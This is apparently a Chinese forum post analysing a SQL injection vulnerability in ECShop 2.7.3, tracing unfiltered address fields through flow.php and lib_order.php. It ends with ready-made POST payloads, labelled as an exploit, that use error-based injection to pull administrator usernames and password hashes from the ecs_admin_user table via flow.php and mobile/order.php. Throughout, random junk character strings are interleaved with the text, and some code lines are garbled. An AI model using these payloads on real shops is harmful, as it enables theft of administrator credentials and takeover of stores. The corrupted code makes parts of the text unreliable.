前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。$ i; m. Z. I/ Y
6 O; [3 M; Z5 @
漏洞关键文件:5 G" }1 M# ]+ Z, ~" P
" p! }* Q) `, n' k6 d
/includes/lib_order.php0 d- N5 B% i3 l$ w, c. Y
, ?: u" K3 B8 E8 e+ n' O1 \/ C4 N 关键函数:1 `0 ?& L6 s, W. O4 |& y- J
+ s& s& K( v2 `5 }4 Z. \
5 k# q. I- e, Y* l& |3 p8 a1 K. `: m
01 function available_shipping_list($region_id_list)
/ D) D$ r/ r( H* o# F1 b' J9 n" c# c4 d9 w4 B& Z
02 {
$ v" c( u- ~/ z8 }/ ^/ y0 F3 L$ L8 g) W
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 2 ?7 M- V' L+ k, J' ~; R6 S9 ^
# e# d6 a4 Y2 }9 w# X P04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . L" _% ^' K3 p y) T0 R
1 |) R% e3 O5 |5 Z4 F05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
) x; ]' X8 S& O7 [
/ e# v7 A0 s, `* Z q. j" _0 g06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ( S" K6 E- w% f) Y2 u% n- h! p- p
" \! }# _* ~: c9 n- L
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
2 A7 t8 O: f6 A- ]! c& ~# a# z( |$ H6 {: k
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
4 O, Z% g8 D1 B. P( Z/ U$ T8 `; o3 z4 P S
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 0 ?; z& u' q. `; Z. h
& \/ x% ?1 ^: Q e9 U9 Y* K
10
, h# V* W( E8 ]1 J) z7 p: t( y3 l+ F5 E4 b
11 return $GLOBALS['db']->getAll($sql); # ~3 D3 E" S- @! i+ j v! x
) N0 Q+ V5 Z6 a- h( Q3 b: }12 }
8 K- F% V/ I7 j. @7 K0 t) m* R6 Q1 Y9 e. t
显然对传入的参数没有任何过滤就带入了查询语句。
+ m1 W! M! K, g+ ]' \3 ~ 2 f- `& r8 |# l& Y5 t( b
下面我们追踪这个函数在flow.php中:
4 z" I" Q! q, D8 \ 第531行: 6 s. [6 I6 \7 m# [) C' T
7 ~5 a) w; T& s1 W0 R0 X8 q
1 $shipping_list = available_shipping_list($region);
3 G+ b: W, K }9 W9 S( e" I O. B3 {
2 @* ?2 x& k2 @8 N; m
3 P& E! U1 q! \ - Q t2 L0 }3 O# V: U
& H; T2 Q% e3 ?" e再对传入变量进行追踪:
# L. x- T0 \/ \: R% v1 o
9 r# A/ v3 |3 w! D第530行: 5 ^5 ?7 v$ R- z1 A9 e
5 X/ J8 ]. `* o( `; i' z
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ?# n2 b5 _6 x* Y, @1 P' S
2 u( [) M- I7 Z8 i5 O8 i# M8 r( H% M
6 ^4 b3 B+ _2 t7 W0 u. a' C+ D; s5 t j# F4 c' b( J2 @
- a- T! F) L# Q( x4 k
# g/ p3 n }: O" T' @& d
第473行: ; c2 g, Q/ B' Z3 N$ h+ Y
( K" o1 X# I6 U3 s ?1 $consignee = get_consignee($_SESSION['user_id']);
( Z( H8 p3 ?3 M3 u6 A/ ?" c" w" i
到了一个关键函数:
/ Y$ q$ q/ x( r o
' `$ J* K& t4 t9 [9 c1 R& U/includes/lib_order.php4 k* t5 v) @! x. E5 @
( w% L6 }0 s' [$ t0 z$ `& E
" Q7 c6 U) D) Q
0 u1 z4 l |) d+ c3 g3 y
1 l C4 q2 u+ |% ?* I+ h, e1 A1 T
7 w5 F9 Z9 X6 o01 function get_consignee($user_id)
' f8 I2 i9 e2 Z5 d1 R5 `7 N$ Y& c& x! a! i/ c$ ]8 w0 x4 X
02 {
# q" y* w0 [. v$ W& g6 Z9 a# ]
. y6 a* e1 I f8 f- u03 if (isset($_SESSION['flow_consignee']))
* q4 j% a7 l; m) ?. n
9 d4 M4 B# z5 [04 {
+ A! I& n& e0 A6 U- r& j0 m6 G
( ^1 N; @0 G( }0 {! Q05 /* 如果存在session,则直接返回session中的收货人信息 */ ! b& y) U9 s9 V0 }" T6 V3 v
$ N+ F1 v- l8 l: y; Z( @
06
7 g/ l! P& |, c/ w6 b# Y" H- l9 o. Q" o9 q# F' O
07 return $_SESSION['flow_consignee'];
0 S- \% P$ S* x( o9 \$ R
% F+ Z+ d5 V3 o+ q* B08 }
5 M7 x" r- I7 F; a. G/ `1 P& o3 J9 G, e- K+ D6 ]. `
09 else
3 k1 s$ ?8 p1 g+ r: |7 _+ X: }1 @! C9 ]' @% R7 i
10 {
e/ C3 n: `0 r1 P( M* ]1 b* m/ R( v' y; S* l5 o
11 /* 如果不存在,则取得用户的默认收货人信息 */
" N2 |' N( F; I; ~3 P' G8 v) U. @8 g0 c# j5 {% W, d( P
12 $arr = array(); + V/ _9 O9 K y% W2 B* g# T1 w8 t
8 m; |6 B' y0 J6 Q
13
, D4 z" N7 z0 \! b. A% V
% A$ N8 _' I7 B14 if ($user_id > 0) ( h* u7 A5 d& G$ _. B
. J, e# I6 n; F/ m2 r% r( R15 {
4 ^- |' K" |6 q4 P6 m7 W, Y% j5 i3 Z+ G& q5 G
16 /* 取默认地址 */ 9 t. T/ p# p9 T
; o7 [+ X6 U% F% [$ H- N5 Y17 $sql = "SELECT ua.*". , }4 E `5 z: X5 ~! R
w: R6 X- U1 D5 [ j* l, H$ n
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
8 b) h( {- x$ @" p5 l Y! I( @8 a8 g. n# d
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
6 d2 y" S* b3 a6 y& A# J7 v* K) X: ]& k2 |
20
0 W9 m; t% ~5 {; |; y9 `& [" N# N
21 $arr = $GLOBALS['db']->getRow($sql); ' l0 P4 c9 u- v5 l" h* f
8 C( S9 P9 r7 c
22 }
) N* p/ M9 C; V* O' Q3 w$ g% ^, d! D4 b) T
23 * f! L5 D7 x; z2 M3 c6 G; e
, @1 D! ~; A z% P. F( ~2 o5 U5 A. t8 D
24 return $arr; ' R0 {5 D: h: c: ^' y+ M2 T N
1 P" m8 r# {2 Q; z+ H25 } + C3 ^; Z+ E1 Y# O. l, m1 ^$ H$ o
8 h9 A! o/ u8 p* [
26 }
! J. g2 }5 z! A2 d, q$ c- k) u2 q$ m( a: h0 v5 Z9 m0 P
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?& U& ^: l) l2 x# n
% M' p. h- f3 y2 @' {8 h0 a 6 U- H" L! u& i, w0 W, Z8 a N
4 j& {9 c4 ?1 i8 T3 P) { A9 c关键点:) y$ \3 |& Y" i8 L B
, D2 I$ w4 j, o! M, |
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);! X% b5 R3 f2 O* { Y$ F# e, y
5 N( e0 T0 X" g- q0 D5 h
这里对传入参数反转义存入$_SESSION中。9 D9 s* h8 Q- V' c- G
* c% `) ^; t# c
6 [8 q! J( m$ H1 y
5 N5 r1 D- @1 Y) e- b: g8 [然后看下:' W, K" ~ D! ]5 j2 ~, m
6 }1 p1 \. t& }+ K- L8 q: D8 W* H 5 x0 F) G: C6 H& G) s
% S. C( i D0 [ & r. N/ K5 Y# S0 B
5 G+ p5 M0 I. T5 O
01 $consignee = array( 6 {2 n% V) d: F8 \7 [, h
( f% e6 l' @' d: t1 x/ l7 \/ T
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
) i" U# z# ]3 a' o+ y: ?5 ?% H- X& H" Q$ y% g9 |1 u/ \
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
- r# Y4 X. P" [# a- b
|( |7 w2 P) l! S& |. n04 'country' => empty($_POST['country']) ? '' _POST['country'],
/ l0 M! _' B* S6 a3 p" U7 |- f3 `. G, b; d( y$ x
05 'province' => empty($_POST['province']) ? '' _POST['province'], : t" t/ }8 t6 b; ~- t# K4 v; ?
8 f& I4 P! N/ X06 'city' => empty($_POST['city']) ? '' _POST['city'],
( `( m- w( d( I
3 @% S" y- Y: y6 m( l% m0 [3 b5 |, S07 'district' => empty($_POST['district']) ? '' _POST['district'], $ I( m. U7 l2 S {
& h& N! h2 M6 ], b" l4 W, K+ ^08 'email' => empty($_POST['email']) ? '' _POST['email'],
+ z# V, r4 \6 b5 v
" I) e: T( D& {6 X1 E09 'address' => empty($_POST['address']) ? '' _POST['address'],
* N! r, g% i+ t/ e: \* r/ ?2 F3 n6 H: s- v2 U1 A+ o! C4 b
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
! E7 }! h+ j( a0 j
6 `/ F, T% Q3 ?$ o11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
: W) M& `7 @0 I) S @$ S, C. B! M7 l/ l4 b, Y9 U
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
/ A$ t3 x9 E; Q4 K/ e: c0 b) k& U2 s
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], , s# Z/ T2 l9 d# V8 h
) c+ f: w4 [# `+ S14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], 9 q: i( V. s) A; ?% U/ L
6 i/ Q1 Q. W& u$ v4 m9 Y15 ); - L4 v% p5 l+ r' T+ v5 N5 j( k- p
% I# V1 w7 W, N9 m
好了注入就这样出现了。
6 Y- S2 J1 O7 C" ^8 K! z3 Z8 h1 o$ ^ M, Z
==================6 m$ f" e1 _1 s
( @; u2 m1 _4 x% n$ Q9 i% x6 d5 ~
注入测试:4 d6 M" |1 m8 V9 a( ~1 R
# t0 V& P9 L3 Y8 N2 f, B2 J
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
' u: T" l# a2 ~+ V7 \+ t D7 T# N/ C3 M& O6 s: ~7 u2 b C
测试程序:ECShop_V2.7.3_UTF8_release1106
1 J; z! z5 C( o$ b2 W( P: l# _0 |4 r0 N w6 P' ^9 d% Q
9 K6 ~ d9 x j h# m( B2 C: m/ f2 f3 V' o/ D1 M
1.首先需要点击一个商品加入购物车' h, H* O: o4 [2 V( s
5 u7 \ n( r- | L1 y2.注册一个会员帐号
2 O# a+ G5 d. [- n l; @
4 \# H' R0 R6 }; H, T0 L" z3.post提交数据) ?9 F; g6 J( z3 r9 K$ S9 g
; m5 D0 `% m3 e# P0 y
1 V# b! }2 x q, |
4 N; D) m7 b$ y- |: c2 v* M1 http://127.0.0.1/ecshop/flow.php
- g" z5 W. _+ }+ V2 W
6 i( q& A7 f7 @6 P5 z' F2 f# L9 [2
3 `0 i, P( a, a, w
1 m5 T6 p' E/ S; c* c3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
% k: L6 V8 z2 l# u5 v' D举一反三,我们根据这个漏洞我们可以继续深入挖掘:$ M' A: x0 X" Y9 k
) r" @ t. h1 q$ R
我们搜寻关键函数function available_shipping_list()* X' F& |$ ^; ~ n' \7 `
t" \$ P* e& u9 C
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
- g2 B1 q" Z" O# f% i0 M& y; S, W) [% x! E
利用exp:5 c( Z5 F4 ] t. X' v
# I. M; f8 @! o
1.点击一个商品,点击购买商标- ?- E0 q% l4 K
0 \1 c' R% Q$ R/ @7 v2.登录会员帐号: Z( o, O8 n. c+ e7 t
% W. C$ j- y) }2 a
3.post提交:
4 k1 g' ~' G* j) L- \5 M
3 M' x+ T$ s# W* n9 mhttp://127.0.0.1/ecshop/mobile/order.php) T9 N/ `2 {2 W9 ] w; P
1 _$ A0 K8 x) @$ [* \5 Q! R( E
7 @* C q5 J- H' @
$ d/ T+ T6 o- T4 {8 Y& qcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
C) W, O, ]$ }4 s. H: _2 U, L. x5 O" |5 D* {+ ?4 X
|